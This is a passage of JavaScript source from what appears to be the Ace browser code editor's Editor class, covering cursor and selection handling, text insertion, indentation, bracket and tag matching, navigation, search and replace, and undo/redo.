if (!session || !session.bgTokenizer) return;
var pos = self.getCursorPosition();
var iterator = new TokenIterator(self.session, pos.row, pos.column);
var token = iterator.getCurrentToken();
if (!token || !/\b(?:tag-open|tag-name)/.test(token.type)) {
session.removeMarker(session.$tagHighlight);
session.$tagHighlight = null;
return;
}
if (token.type.indexOf("tag-open") != -1) {
token = iterator.stepForward();
if (!token)
return;
}
var tag = token.value;
var depth = 0;
var prevToken = iterator.stepBackward();
if (prevToken.value == '<'){
do {
prevToken = token;
token = iterator.stepForward();
if (token && token.value === tag && token.type.indexOf('tag-name') !== -1) {
if (prevToken.value === '<'){
depth++;
} else if (prevToken.value === '</'){
depth--;
}
}
} while (token && depth >= 0);
} else {
do {
token = prevToken;
prevToken = iterator.stepBackward();
if (token && token.value === tag && token.type.indexOf('tag-name') !== -1) {
if (prevToken.value === '<') {
depth++;
} else if (prevToken.value === '</') {
depth--;
}
}
} while (prevToken && depth <= 0);
iterator.stepForward();
}
if (!token) {
session.removeMarker(session.$tagHighlight);
session.$tagHighlight = null;
return;
}
var row = iterator.getCurrentTokenRow();
var column = iterator.getCurrentTokenColumn();
var range = new Range(row, column, row, column+token.value.length);
var sbm = session.$backMarkers[session.$tagHighlight];
if (session.$tagHighlight && sbm != undefined && range.compareRange(sbm.range) !== 0) {
session.removeMarker(session.$tagHighlight);
session.$tagHighlight = null;
}
if (range && !session.$tagHighlight)
session.$tagHighlight = session.addMarker(range, "ace_bracket", "text");
}, 50);
};
this.focus = function() {
var _self = this;
setTimeout(function() {
_self.textInput.focus();
});
this.textInput.focus();
};
this.isFocused = function() {
return this.textInput.isFocused();
};
this.blur = function() {
this.textInput.blur();
};
this.onFocus = function(e) {
if (this.$isFocused)
return;
this.$isFocused = true;
this.renderer.showCursor();
this.renderer.visualizeFocus();
this._emit("focus", e);
};
this.onBlur = function(e) {
if (!this.$isFocused)
return;
this.$isFocused = false;
this.renderer.hideCursor();
this.renderer.visualizeBlur();
this._emit("blur", e);
};
this.$cursorChange = function() {
this.renderer.updateCursor();
};
this.onDocumentChange = function(delta) {
var wrap = this.session.$useWrapMode;
var lastRow = (delta.start.row == delta.end.row ? delta.end.row : Infinity);
this.renderer.updateLines(delta.start.row, lastRow, wrap);
this._signal("change", delta);
this.$cursorChange();
this.$updateHighlightActiveLine();
};
this.onTokenizerUpdate = function(e) {
var rows = e.data;
this.renderer.updateLines(rows.first, rows.last);
};
this.onScrollTopChange = function() {
this.renderer.scrollToY(this.session.getScrollTop());
};
this.onScrollLeftChange = function() {
this.renderer.scrollToX(this.session.getScrollLeft());
};
this.onCursorChange = function() {
this.$cursorChange();
if (!this.$blockScrolling) {
config.warn("Automatically scrolling cursor into view after selection change",
"this will be disabled in the next version",
"set editor.$blockScrolling = Infinity to disable this message"
);
this.renderer.scrollCursorIntoView();
}
this.$highlightBrackets();
this.$highlightTags();
this.$updateHighlightActiveLine();
this._signal("changeSelection");
};
this.$updateHighlightActiveLine = function() {
var session = this.getSession();
var highlight;
if (this.$highlightActiveLine) {
if ((this.$selectionStyle != "line" || !this.selection.isMultiLine()))
highlight = this.getCursorPosition();
if (this.renderer.$maxLines && this.session.getLength() === 1 && !(this.renderer.$minLines > 1))
highlight = false;
}
if (session.$highlightLineMarker && !highlight) {
session.removeMarker(session.$highlightLineMarker.id);
session.$highlightLineMarker = null;
} else if (!session.$highlightLineMarker && highlight) {
var range = new Range(highlight.row, highlight.column, highlight.row, Infinity);
range.id = session.addMarker(range, "ace_active-line", "screenLine");
session.$highlightLineMarker = range;
} else if (highlight) {
session.$highlightLineMarker.start.row = highlight.row;
session.$highlightLineMarker.end.row = highlight.row;
session.$highlightLineMarker.start.column = highlight.column;
session._signal("changeBackMarker");
}
};
this.onSelectionChange = function(e) {
var session = this.session;
if (session.$selectionMarker) {
session.removeMarker(session.$selectionMarker);
}
session.$selectionMarker = null;
if (!this.selection.isEmpty()) {
var range = this.selection.getRange();
var style = this.getSelectionStyle();
session.$selectionMarker = session.addMarker(range, "ace_selection", style);
} else {
this.$updateHighlightActiveLine();
}
var re = this.$highlightSelectedWord && this.$getSelectionHighLightRegexp();
this.session.highlight(re);
this._signal("changeSelection");
};
this.$getSelectionHighLightRegexp = function() {
var session = this.session;
var selection = this.getSelectionRange();
if (selection.isEmpty() || selection.isMultiLine())
return;
var startOuter = selection.start.column - 1;
var endOuter = selection.end.column + 1;
var line = session.getLine(selection.start.row);
var lineCols = line.length;
var needle = line.substring(Math.max(startOuter, 0),
Math.min(endOuter, lineCols));
if ((startOuter >= 0 && /^[\w\d]/.test(needle)) ||
(endOuter <= lineCols && /[\w\d]$/.test(needle)))
return;
needle = line.substring(selection.start.column, selection.end.column);
if (!/^[\w\d]+$/.test(needle))
return;
var re = this.$search.$assembleRegExp({
wholeWord: true,
caseSensitive: true,
needle: needle
});
return re;
};
this.onChangeFrontMarker = function() {
this.renderer.updateFrontMarkers();
};
this.onChangeBackMarker = function() {
this.renderer.updateBackMarkers();
};
this.onChangeBreakpoint = function() {
this.renderer.updateBreakpoints();
};
this.onChangeAnnotation = function() {
this.renderer.setAnnotations(this.session.getAnnotations());
};
this.onChangeMode = function(e) {
this.renderer.updateText();
this._emit("changeMode", e);
};
this.onChangeWrapLimit = function() {
this.renderer.updateFull();
};
this.onChangeWrapMode = function() {
this.renderer.onResize(true);
};
this.onChangeFold = function() {
this.$updateHighlightActiveLine();
this.renderer.updateFull();
};
this.getSelectedText = function() {
return this.session.getTextRange(this.getSelectionRange());
};
this.getCopyText = function() {
var text = this.getSelectedText();
this._signal("copy", text);
return text;
};
this.onCopy = function() {
this.commands.exec("copy", this);
};
this.onCut = function() {
this.commands.exec("cut", this);
};
this.onPaste = function(text, event) {
var e = {text: text, event: event};
this.commands.exec("paste", this, e);
};
this.$handlePaste = function(e) {
if (typeof e == "string")
e = {text: e};
this._signal("paste", e);
var text = e.text;
if (!this.inMultiSelectMode || this.inVirtualSelectionMode) {
this.insert(text);
} else {
var lines = text.split(/\r\n|\r|\n/);
var ranges = this.selection.rangeList.ranges;
if (lines.length > ranges.length || lines.length < 2 || !lines[1])
return this.commands.exec("insertstring", this, text);
for (var i = ranges.length; i--;) {
var range = ranges[i];
if (!range.isEmpty())
this.session.remove(range);
this.session.insert(range.start, lines[i]);
}
}
};
this.execCommand = function(command, args) {
return this.commands.exec(command, this, args);
};
this.insert = function(text, pasted) {
var session = this.session;
var mode = session.getMode();
var cursor = this.getCursorPosition();
if (this.getBehavioursEnabled() && !pasted) {
var transform = mode.transformAction(session.getState(cursor.row), 'insertion', this, session, text);
if (transform) {
if (text !== transform.text) {
this.session.mergeUndoDeltas = false;
this.$mergeNextCommand = false;
}
text = transform.text;
}
}
if (text == "\t")
text = this.session.getTabString();
if (!this.selection.isEmpty()) {
var range = this.getSelectionRange();
cursor = this.session.remove(range);
this.clearSelection();
}
else if (this.session.getOverwrite() && text.indexOf("\n") == -1) {
var range = new Range.fromPoints(cursor, cursor);
range.end.column += text.length;
this.session.remove(range);
}
if (text == "\n" || text == "\r\n") {
var line = session.getLine(cursor.row);
if (cursor.column > line.search(/\S|$/)) {
var d = line.substr(cursor.column).search(/\S|$/);
session.doc.removeInLine(cursor.row, cursor.column, cursor.column + d);
}
}
this.clearSelection();
var start = cursor.column;
var lineState = session.getState(cursor.row);
var line = session.getLine(cursor.row);
var shouldOutdent = mode.checkOutdent(lineState, line, text);
var end = session.insert(cursor, text);
if (transform && transform.selection) {
if (transform.selection.length == 2) { // Transform relative to the current column
this.selection.setSelectionRange(
new Range(cursor.row, start + transform.selection[0],
cursor.row, start + transform.selection[1]));
} else { // Transform relative to the current row.
this.selection.setSelectionRange(
new Range(cursor.row + transform.selection[0],
transform.selection[1],
cursor.row + transform.selection[2],
transform.selection[3]));
}
}
if (session.getDocument().isNewLine(text)) {
var lineIndent = mode.getNextLineIndent(lineState, line.slice(0, cursor.column), session.getTabString());
session.insert({row: cursor.row+1, column: 0}, lineIndent);
}
if (shouldOutdent)
mode.autoOutdent(lineState, session, cursor.row);
};
this.onTextInput = function(text) {
this.keyBinding.onTextInput(text);
};
this.onCommandKey = function(e, hashId, keyCode) {
this.keyBinding.onCommandKey(e, hashId, keyCode);
};
this.setOverwrite = function(overwrite) {
this.session.setOverwrite(overwrite);
};
this.getOverwrite = function() {
return this.session.getOverwrite();
};
this.toggleOverwrite = function() {
this.session.toggleOverwrite();
};
this.setScrollSpeed = function(speed) {
this.setOption("scrollSpeed", speed);
};
this.getScrollSpeed = function() {
return this.getOption("scrollSpeed");
};
this.setDragDelay = function(dragDelay) {
this.setOption("dragDelay", dragDelay);
};
this.getDragDelay = function() {
return this.getOption("dragDelay");
};
this.setSelectionStyle = function(val) {
this.setOption("selectionStyle", val);
};
this.getSelectionStyle = function() {
return this.getOption("selectionStyle");
};
this.setHighlightActiveLine = function(shouldHighlight) {
this.setOption("highlightActiveLine", shouldHighlight);
};
this.getHighlightActiveLine = function() {
return this.getOption("highlightActiveLine");
};
this.setHighlightGutterLine = function(shouldHighlight) {
this.setOption("highlightGutterLine", shouldHighlight);
};
this.getHighlightGutterLine = function() {
return this.getOption("highlightGutterLine");
};
this.setHighlightSelectedWord = function(shouldHighlight) {
this.setOption("highlightSelectedWord", shouldHighlight);
};
this.getHighlightSelectedWord = function() {
return this.$highlightSelectedWord;
};
this.setAnimatedScroll = function(shouldAnimate){
this.renderer.setAnimatedScroll(shouldAnimate);
};
this.getAnimatedScroll = function(){
return this.renderer.getAnimatedScroll();
};
this.setShowInvisibles = function(showInvisibles) {
this.renderer.setShowInvisibles(showInvisibles);
};
this.getShowInvisibles = function() {
return this.renderer.getShowInvisibles();
};
this.setDisplayIndentGuides = function(display) {
this.renderer.setDisplayIndentGuides(display);
};
this.getDisplayIndentGuides = function() {
return this.renderer.getDisplayIndentGuides();
};
this.setShowPrintMargin = function(showPrintMargin) {
this.renderer.setShowPrintMargin(showPrintMargin);
};
this.getShowPrintMargin = function() {
return this.renderer.getShowPrintMargin();
};
this.setPrintMarginColumn = function(showPrintMargin) {
this.renderer.setPrintMarginColumn(showPrintMargin);
};
this.getPrintMarginColumn = function() {
return this.renderer.getPrintMarginColumn();
};
this.setReadOnly = function(readOnly) {
this.setOption("readOnly", readOnly);
};
this.getReadOnly = function() {
return this.getOption("readOnly");
};
this.setBehavioursEnabled = function (enabled) {
this.setOption("behavioursEnabled", enabled);
};
this.getBehavioursEnabled = function () {
return this.getOption("behavioursEnabled");
};
this.setWrapBehavioursEnabled = function (enabled) {
this.setOption("wrapBehavioursEnabled", enabled);
};
this.getWrapBehavioursEnabled = function () {
return this.getOption("wrapBehavioursEnabled");
};
this.setShowFoldWidgets = function(show) {
this.setOption("showFoldWidgets", show);
};
this.getShowFoldWidgets = function() {
return this.getOption("showFoldWidgets");
};
this.setFadeFoldWidgets = function(fade) {
this.setOption("fadeFoldWidgets", fade);
};
this.getFadeFoldWidgets = function() {
return this.getOption("fadeFoldWidgets");
};
this.remove = function(dir) {
if (this.selection.isEmpty()){
if (dir == "left")
this.selection.selectLeft();
else
this.selection.selectRight();
}
var range = this.getSelectionRange();
if (this.getBehavioursEnabled()) {
var session = this.session;
var state = session.getState(range.start.row);
var new_range = session.getMode().transformAction(state, 'deletion', this, session, range);
if (range.end.column === 0) {
var text = session.getTextRange(range);
if (text[text.length - 1] == "\n") {
var line = session.getLine(range.end.row);
if (/^\s+$/.test(line)) {
range.end.column = line.length;
}
}
}
if (new_range)
range = new_range;
}
this.session.remove(range);
this.clearSelection();
};
this.removeWordRight = function() {
if (this.selection.isEmpty())
this.selection.selectWordRight();
this.session.remove(this.getSelectionRange());
this.clearSelection();
};
this.removeWordLeft = function() {
if (this.selection.isEmpty())
this.selection.selectWordLeft();
this.session.remove(this.getSelectionRange());
this.clearSelection();
};
this.removeToLineStart = function() {
if (this.selection.isEmpty())
this.selection.selectLineStart();
this.session.remove(this.getSelectionRange());
this.clearSelection();
};
this.removeToLineEnd = function() {
if (this.selection.isEmpty())
this.selection.selectLineEnd();
var range = this.getSelectionRange();
if (range.start.column == range.end.column && range.start.row == range.end.row) {
range.end.column = 0;
range.end.row++;
}
this.session.remove(range);
this.clearSelection();
};
this.splitLine = function() {
if (!this.selection.isEmpty()) {
this.session.remove(this.getSelectionRange());
this.clearSelection();
}
var cursor = this.getCursorPosition();
this.insert("\n");
this.moveCursorToPosition(cursor);
};
this.transposeLetters = function() {
if (!this.selection.isEmpty()) {
return;
}
var cursor = this.getCursorPosition();
var column = cursor.column;
if (column === 0)
return;
var line = this.session.getLine(cursor.row);
var swap, range;
if (column < line.length) {
swap = line.charAt(column) + line.charAt(column-1);
range = new Range(cursor.row, column-1, cursor.row, column+1);
}
else {
swap = line.charAt(column-1) + line.charAt(column-2);
range = new Range(cursor.row, column-2, cursor.row, column);
}
this.session.replace(range, swap);
this.session.selection.moveToPosition(range.end);
};
this.toLowerCase = function() {
var originalRange = this.getSelectionRange();
if (this.selection.isEmpty()) {
this.selection.selectWord();
}
var range = this.getSelectionRange();
var text = this.session.getTextRange(range);
this.session.replace(range, text.toLowerCase());
this.selection.setSelectionRange(originalRange);
};
this.toUpperCase = function() {
var originalRange = this.getSelectionRange();
if (this.selection.isEmpty()) {
this.selection.selectWord();
}
var range = this.getSelectionRange();
var text = this.session.getTextRange(range);
this.session.replace(range, text.toUpperCase());
this.selection.setSelectionRange(originalRange);
};
this.indent = function() {
var session = this.session;
var range = this.getSelectionRange();
if (range.start.row < range.end.row) {
var rows = this.$getSelectedRows();
session.indentRows(rows.first, rows.last, "\t");
return;
} else if (range.start.column < range.end.column) {
var text = session.getTextRange(range);
if (!/^\s+$/.test(text)) {
var rows = this.$getSelectedRows();
session.indentRows(rows.first, rows.last, "\t");
return;
}
}
var line = session.getLine(range.start.row);
var position = range.start;
var size = session.getTabSize();
var column = session.documentToScreenColumn(position.row, position.column);
if (this.session.getUseSoftTabs()) {
var count = (size - column % size);
var indentString = lang.stringRepeat(" ", count);
} else {
var count = column % size;
while (line[range.start.column - 1] == " " && count) {
range.start.column--;
count--;
}
this.selection.setSelectionRange(range);
indentString = "\t";
}
return this.insert(indentString);
};
this.blockIndent = function() {
var rows = this.$getSelectedRows();
this.session.indentRows(rows.first, rows.last, "\t");
};
this.blockOutdent = function() {
var selection = this.session.getSelection();
this.session.outdentRows(selection.getRange());
};
this.sortLines = function() {
var rows = this.$getSelectedRows();
var session = this.session;
var lines = [];
for (var i = rows.first; i <= rows.last; i++)
lines.push(session.getLine(i));
lines.sort(function(a, b) {
if (a.toLowerCase() < b.toLowerCase()) return -1;
if (a.toLowerCase() > b.toLowerCase()) return 1;
return 0;
});
var deleteRange = new Range(0, 0, 0, 0);
for (var i = rows.first; i <= rows.last; i++) {
var line = session.getLine(i);
deleteRange.start.row = i;
deleteRange.end.row = i;
deleteRange.end.column = line.length;
session.replace(deleteRange, lines[i-rows.first]);
}
};
this.toggleCommentLines = function() {
var state = this.session.getState(this.getCursorPosition().row);
var rows = this.$getSelectedRows();
this.session.getMode().toggleCommentLines(state, this.session, rows.first, rows.last);
};
this.toggleBlockComment = function() {
var cursor = this.getCursorPosition();
var state = this.session.getState(cursor.row);
var range = this.getSelectionRange();
this.session.getMode().toggleBlockComment(state, this.session, range, cursor);
};
this.getNumberAt = function(row, column) {
var _numberRx = /[\-]?[0-9]+(?:\.[0-9]+)?/g;
_numberRx.lastIndex = 0;
var s = this.session.getLine(row);
while (_numberRx.lastIndex < column) {
var m = _numberRx.exec(s);
if(m.index <= column && m.index+m[0].length >= column){
var number = {
value: m[0],
start: m.index,
end: m.index+m[0].length
};
return number;
}
}
return null;
};
this.modifyNumber = function(amount) {
var row = this.selection.getCursor().row;
var column = this.selection.getCursor().column;
var charRange = new Range(row, column-1, row, column);
var c = this.session.getTextRange(charRange);
if (!isNaN(parseFloat(c)) && isFinite(c)) {
var nr = this.getNumberAt(row, column);
if (nr) {
var fp = nr.value.indexOf(".") >= 0 ? nr.start + nr.value.indexOf(".") + 1 : nr.end;
var decimals = nr.start + nr.value.length - fp;
var t = parseFloat(nr.value);
t *= Math.pow(10, decimals);
if(fp !== nr.end && column < fp){
amount *= Math.pow(10, nr.end - column - 1);
} else {
amount *= Math.pow(10, nr.end - column);
}
t += amount;
t /= Math.pow(10, decimals);
var nnr = t.toFixed(decimals);
var replaceRange = new Range(row, nr.start, row, nr.end);
this.session.replace(replaceRange, nnr);
this.moveCursorTo(row, Math.max(nr.start +1, column + nnr.length - nr.value.length));
}
}
};
this.removeLines = function() {
var rows = this.$getSelectedRows();
this.session.removeFullLines(rows.first, rows.last);
this.clearSelection();
};
this.duplicateSelection = function() {
var sel = this.selection;
var doc = this.session;
var range = sel.getRange();
var reverse = sel.isBackwards();
if (range.isEmpty()) {
var row = range.start.row;
doc.duplicateLines(row, row);
} else {
var point = reverse ? range.start : range.end;
var endPoint = doc.insert(point, doc.getTextRange(range), false);
range.start = point;
range.end = endPoint;
sel.setSelectionRange(range, reverse);
}
};
this.moveLinesDown = function() {
this.$moveLines(1, false);
};
this.moveLinesUp = function() {
this.$moveLines(-1, false);
};
this.moveText = function(range, toPosition, copy) {
return this.session.moveText(range, toPosition, copy);
};
this.copyLinesUp = function() {
this.$moveLines(-1, true);
};
this.copyLinesDown = function() {
this.$moveLines(1, true);
};
this.$moveLines = function(dir, copy) {
var rows, moved;
var selection = this.selection;
if (!selection.inMultiSelectMode || this.inVirtualSelectionMode) {
var range = selection.toOrientedRange();
rows = this.$getSelectedRows(range);
moved = this.session.$moveLines(rows.first, rows.last, copy ? 0 : dir);
if (copy && dir == -1) moved = 0;
range.moveBy(moved, 0);
selection.fromOrientedRange(range);
} else {
var ranges = selection.rangeList.ranges;
selection.rangeList.detach(this.session);
this.inVirtualSelectionMode = true;
var diff = 0;
var totalDiff = 0;
var l = ranges.length;
for (var i = 0; i < l; i++) {
var rangeIndex = i;
ranges[i].moveBy(diff, 0);
rows = this.$getSelectedRows(ranges[i]);
var first = rows.first;
var last = rows.last;
while (++i < l) {
if (totalDiff) ranges[i].moveBy(totalDiff, 0);
var subRows = this.$getSelectedRows(ranges[i]);
if (copy && subRows.first != last)
break;
else if (!copy && subRows.first > last + 1)
break;
last = subRows.last;
}
i--;
diff = this.session.$moveLines(first, last, copy ? 0 : dir);
if (copy && dir == -1) rangeIndex = i + 1;
while (rangeIndex <= i) {
ranges[rangeIndex].moveBy(diff, 0);
rangeIndex++;
}
if (!copy) diff = 0;
totalDiff += diff;
}
selection.fromOrientedRange(selection.ranges[0]);
selection.rangeList.attach(this.session);
this.inVirtualSelectionMode = false;
}
};
this.$getSelectedRows = function(range) {
range = (range || this.getSelectionRange()).collapseRows();
return {
first: this.session.getRowFoldStart(range.start.row),
last: this.session.getRowFoldEnd(range.end.row)
};
};
this.onCompositionStart = function(text) {
this.renderer.showComposition(this.getCursorPosition());
};
this.onCompositionUpdate = function(text) {
this.renderer.setCompositionText(text);
};
this.onCompositionEnd = function() {
this.renderer.hideComposition();
};
this.getFirstVisibleRow = function() {
return this.renderer.getFirstVisibleRow();
};
this.getLastVisibleRow = function() {
return this.renderer.getLastVisibleRow();
};
this.isRowVisible = function(row) {
return (row >= this.getFirstVisibleRow() && row <= this.getLastVisibleRow());
};
this.isRowFullyVisible = function(row) {
return (row >= this.renderer.getFirstFullyVisibleRow() && row <= this.renderer.getLastFullyVisibleRow());
};
this.$getVisibleRowCount = function() {
return this.renderer.getScrollBottomRow() - this.renderer.getScrollTopRow() + 1;
};
this.$moveByPage = function(dir, select) {
var renderer = this.renderer;
var config = this.renderer.layerConfig;
var rows = dir * Math.floor(config.height / config.lineHeight);
this.$blockScrolling++;
if (select === true) {
this.selection.$moveSelection(function(){
this.moveCursorBy(rows, 0);
});
} else if (select === false) {
this.selection.moveCursorBy(rows, 0);
this.selection.clearSelection();
}
this.$blockScrolling--;
var scrollTop = renderer.scrollTop;
renderer.scrollBy(0, rows * config.lineHeight);
if (select != null)
renderer.scrollCursorIntoView(null, 0.5);
renderer.animateScrolling(scrollTop);
};
this.selectPageDown = function() {
this.$moveByPage(1, true);
};
this.selectPageUp = function() {
this.$moveByPage(-1, true);
};
this.gotoPageDown = function() {
this.$moveByPage(1, false);
};
this.gotoPageUp = function() {
this.$moveByPage(-1, false);
};
this.scrollPageDown = function() {
this.$moveByPage(1);
};
this.scrollPageUp = function() {
this.$moveByPage(-1);
};
this.scrollToRow = function(row) {
this.renderer.scrollToRow(row);
};
this.scrollToLine = function(line, center, animate, callback) {
this.renderer.scrollToLine(line, center, animate, callback);
};
this.centerSelection = function() {
var range = this.getSelectionRange();
var pos = {
row: Math.floor(range.start.row + (range.end.row - range.start.row) / 2),
column: Math.floor(range.start.column + (range.end.column - range.start.column) / 2)
};
this.renderer.alignCursor(pos, 0.5);
};
this.getCursorPosition = function() {
return this.selection.getCursor();
};
this.getCursorPositionScreen = function() {
return this.session.documentToScreenPosition(this.getCursorPosition());
};
this.getSelectionRange = function() {
return this.selection.getRange();
};
this.selectAll = function() {
this.$blockScrolling += 1;
this.selection.selectAll();
this.$blockScrolling -= 1;
};
this.clearSelection = function() {
this.selection.clearSelection();
};
this.moveCursorTo = function(row, column) {
this.selection.moveCursorTo(row, column);
};
this.moveCursorToPosition = function(pos) {
this.selection.moveCursorToPosition(pos);
};
this.jumpToMatching = function(select, expand) {
var cursor = this.getCursorPosition();
var iterator = new TokenIterator(this.session, cursor.row, cursor.column);
var prevToken = iterator.getCurrentToken();
var token = prevToken || iterator.stepForward();
if (!token) return;
var matchType;
var found = false;
var depth = {};
var i = cursor.column - token.start;
var bracketType;
var brackets = {
")": "(",
"(": "(",
"]": "[",
"[": "[",
"{": "{",
"}": "{"
};
do {
if (token.value.match(/[{}()\[\]]/g)) {
for (; i < token.value.length && !found; i++) {
if (!brackets[token.value[i]]) {
continue;
}
bracketType = brackets[token.value[i]] + '.' + token.type.replace("rparen", "lparen");
if (isNaN(depth[bracketType])) {
depth[bracketType] = 0;
}
switch (token.value[i]) {
case '(':
case '[':
case '{':
depth[bracketType]++;
break;
case ')':
case ']':
case '}':
depth[bracketType]--;
if (depth[bracketType] === -1) {
matchType = 'bracket';
found = true;
}
break;
}
}
}
else if (token && token.type.indexOf('tag-name') !== -1) {
if (isNaN(depth[token.value])) {
depth[token.value] = 0;
}
if (prevToken.value === '<') {
depth[token.value]++;
}
else if (prevToken.value === '</') {
depth[token.value]--;
}
if (depth[token.value] === -1) {
matchType = 'tag';
found = true;
}
}
if (!found) {
prevToken = token;
token = iterator.stepForward();
i = 0;
}
} while (token && !found);
if (!matchType)
return;
var range, pos;
if (matchType === 'bracket') {
range = this.session.getBracketRange(cursor);
if (!range) {
range = new Range(
iterator.getCurrentTokenRow(),
iterator.getCurrentTokenColumn() + i - 1,
iterator.getCurrentTokenRow(),
iterator.getCurrentTokenColumn() + i - 1
);
pos = range.start;
if (expand || pos.row === cursor.row && Math.abs(pos.column - cursor.column) < 2)
range = this.session.getBracketRange(pos);
}
}
else if (matchType === 'tag') {
if (token && token.type.indexOf('tag-name') !== -1)
var tag = token.value;
else
return;
range = new Range(
iterator.getCurrentTokenRow(),
iterator.getCurrentTokenColumn() - 2,
iterator.getCurrentTokenRow(),
iterator.getCurrentTokenColumn() - 2
);
if (range.compare(cursor.row, cursor.column) === 0) {
found = false;
do {
token = prevToken;
prevToken = iterator.stepBackward();
if (prevToken) {
if (prevToken.type.indexOf('tag-close') !== -1) {
range.setEnd(iterator.getCurrentTokenRow(), iterator.getCurrentTokenColumn() + 1);
}
if (token.value === tag && token.type.indexOf('tag-name') !== -1) {
if (prevToken.value === '<') {
depth[tag]++;
}
else if (prevToken.value === '</') {
depth[tag]--;
}
if (depth[tag] === 0)
found = true;
}
}
} while (prevToken && !found);
}
if (token && token.type.indexOf('tag-name')) {
pos = range.start;
if (pos.row == cursor.row && Math.abs(pos.column - cursor.column) < 2)
pos = range.end;
}
}
pos = range && range.cursor || pos;
if (pos) {
if (select) {
if (range && expand) {
this.selection.setRange(range);
} else if (range && range.isEqual(this.getSelectionRange())) {
this.clearSelection();
} else {
this.selection.selectTo(pos.row, pos.column);
}
} else {
this.selection.moveTo(pos.row, pos.column);
}
}
};
this.gotoLine = function(lineNumber, column, animate) {
this.selection.clearSelection();
this.session.unfold({row: lineNumber - 1, column: column || 0});
this.$blockScrolling += 1;
this.exitMultiSelectMode && this.exitMultiSelectMode();
this.moveCursorTo(lineNumber - 1, column || 0);
this.$blockScrolling -= 1;
if (!this.isRowFullyVisible(lineNumber - 1))
this.scrollToLine(lineNumber - 1, true, animate);
};
this.navigateTo = function(row, column) {
this.selection.moveTo(row, column);
};
this.navigateUp = function(times) {
if (this.selection.isMultiLine() && !this.selection.isBackwards()) {
var selectionStart = this.selection.anchor.getPosition();
return this.moveCursorToPosition(selectionStart);
}
this.selection.clearSelection();
this.selection.moveCursorBy(-times || -1, 0);
};
this.navigateDown = function(times) {
if (this.selection.isMultiLine() && this.selection.isBackwards()) {
var selectionEnd = this.selection.anchor.getPosition();
return this.moveCursorToPosition(selectionEnd);
}
this.selection.clearSelection();
this.selection.moveCursorBy(times || 1, 0);
};
this.navigateLeft = function(times) {
if (!this.selection.isEmpty()) {
var selectionStart = this.getSelectionRange().start;
this.moveCursorToPosition(selectionStart);
}
else {
times = times || 1;
while (times--) {
this.selection.moveCursorLeft();
}
}
this.clearSelection();
};
this.navigateRight = function(times) {
if (!this.selection.isEmpty()) {
var selectionEnd = this.getSelectionRange().end;
this.moveCursorToPosition(selectionEnd);
}
else {
times = times || 1;
while (times--) {
this.selection.moveCursorRight();
}
}
this.clearSelection();
};
this.navigateLineStart = function() {
this.selection.moveCursorLineStart();
this.clearSelection();
};
this.navigateLineEnd = function() {
this.selection.moveCursorLineEnd();
this.clearSelection();
};
this.navigateFileEnd = function() {
this.selection.moveCursorFileEnd();
this.clearSelection();
};
this.navigateFileStart = function() {
this.selection.moveCursorFileStart();
this.clearSelection();
};
this.navigateWordRight = function() {
this.selection.moveCursorWordRight();
this.clearSelection();
};
this.navigateWordLeft = function() {
this.selection.moveCursorWordLeft();
this.clearSelection();
};
this.replace = function(replacement, options) {
if (options)
this.$search.set(options);
var range = this.$search.find(this.session);
var replaced = 0;
if (!range)
return replaced;
if (this.$tryReplace(range, replacement)) {
replaced = 1;
}
if (range !== null) {
this.selection.setSelectionRange(range);
this.renderer.scrollSelectionIntoView(range.start, range.end);
}
return replaced;
};
this.replaceAll = function(replacement, options) {
if (options) {
this.$search.set(options);
}
var ranges = this.$search.findAll(this.session);
var replaced = 0;
if (!ranges.length)
return replaced;
this.$blockScrolling += 1;
var selection = this.getSelectionRange();
this.selection.moveTo(0, 0);
for (var i = ranges.length - 1; i >= 0; --i) {
if(this.$tryReplace(ranges[i], replacement)) {
replaced++;
}
}
this.selection.setSelectionRange(selection);
this.$blockScrolling -= 1;
return replaced;
};
this.$tryReplace = function(range, replacement) {
var input = this.session.getTextRange(range);
replacement = this.$search.replace(input, replacement);
if (replacement !== null) {
range.end = this.session.replace(range, replacement);
return range;
} else {
return null;
}
};
this.getLastSearchOptions = function() {
return this.$search.getOptions();
};
this.find = function(needle, options, animate) {
if (!options)
options = {};
if (typeof needle == "string" || needle instanceof RegExp)
options.needle = needle;
else if (typeof needle == "object")
oop.mixin(options, needle);
var range = this.selection.getRange();
if (options.needle == null) {
needle = this.session.getTextRange(range)
|| this.$search.$options.needle;
if (!needle) {
range = this.session.getWordRange(range.start.row, range.start.column);
needle = this.session.getTextRange(range);
}
this.$search.set({needle: needle});
}
this.$search.set(options);
if (!options.start)
this.$search.set({start: range});
var newRange = this.$search.find(this.session);
if (options.preventScroll)
return newRange;
if (newRange) {
this.revealRange(newRange, animate);
return newRange;
}
if (options.backwards)
range.start = range.end;
else
range.end = range.start;
this.selection.setRange(range);
};
this.findNext = function(options, animate) {
this.find({skipCurrent: true, backwards: false}, options, animate);
};
this.findPrevious = function(options, animate) {
this.find(options, {skipCurrent: true, backwards: true}, animate);
};
this.revealRange = function(range, animate) {
this.$blockScrolling += 1;
this.session.unfold(range);
this.selection.setSelectionRange(range);
this.$blockScrolling -= 1;
var scrollTop = this.renderer.scrollTop;
this.renderer.scrollSelectionIntoView(range.start, range.end, 0.5);
if (animate !== false)
this.renderer.animateScrolling(scrollTop);
};
this.undo = function() {
this.$blockScrolling++;
this.session.getUndoManager().undo();
this.$blockScrolling--;
this.renderer.scrollCursorIntoView(null, 0.5);
};
this.redo = function() {
this.$blockScrolling++;
this.session.getUndoManager().redo();
this.$blockScrolling--;
this.renderer.scrollCursorIntoView(null, 0.5);
};
this.destroy = function() {
this.renderer.destroy();
this._signal("destroy", this);
if (this.session) {
this.session.destroy();
}
};
this.setAutoScrollEditorIntoView = function(enable) {
if (!enable)
return;
var rect;
var self = this;
var shouldScroll = false;
if (!this.$scrollAnchor)
this.$scrollAnchor = document.createElement("div");
var scrollAnchor = this.$scrollAnchor;
scrollAnchor.style.cssText = "position:absolute";
this.container.insertBefore(scrollAnchor, this.container.firstChild);
var onChangeSelection = this.on("changeSelection", function() {
shouldScroll = true;
});
var onBeforeRender = this.renderer.on("beforeRender", function() {
if (shouldScroll)
rect = self.renderer.container.getBoundingClientRect();
});
var onAfterRender = this.renderer.on("afterRender", function() {
if (shouldScroll && rect && (self.isFocused()
|| self.searchBox && self.searchBox.isFocused())
) {
var renderer = self.renderer;
var pos = renderer.$cursorLayer.$pixelPos;
var config = renderer.layerConfig;
var top = pos.top - config.offset;
if (pos.top >= 0 && top + rect.top < 0) {
shouldScroll = true;
} else if (pos.top < config.height &&
pos.top + rect.top + config.lineHeight > window.innerHeight) {
shouldScroll = false;
} else {
shouldScroll = null;
}
if (shouldScroll != null) {
scrollAnchor.style.top = top + "px";
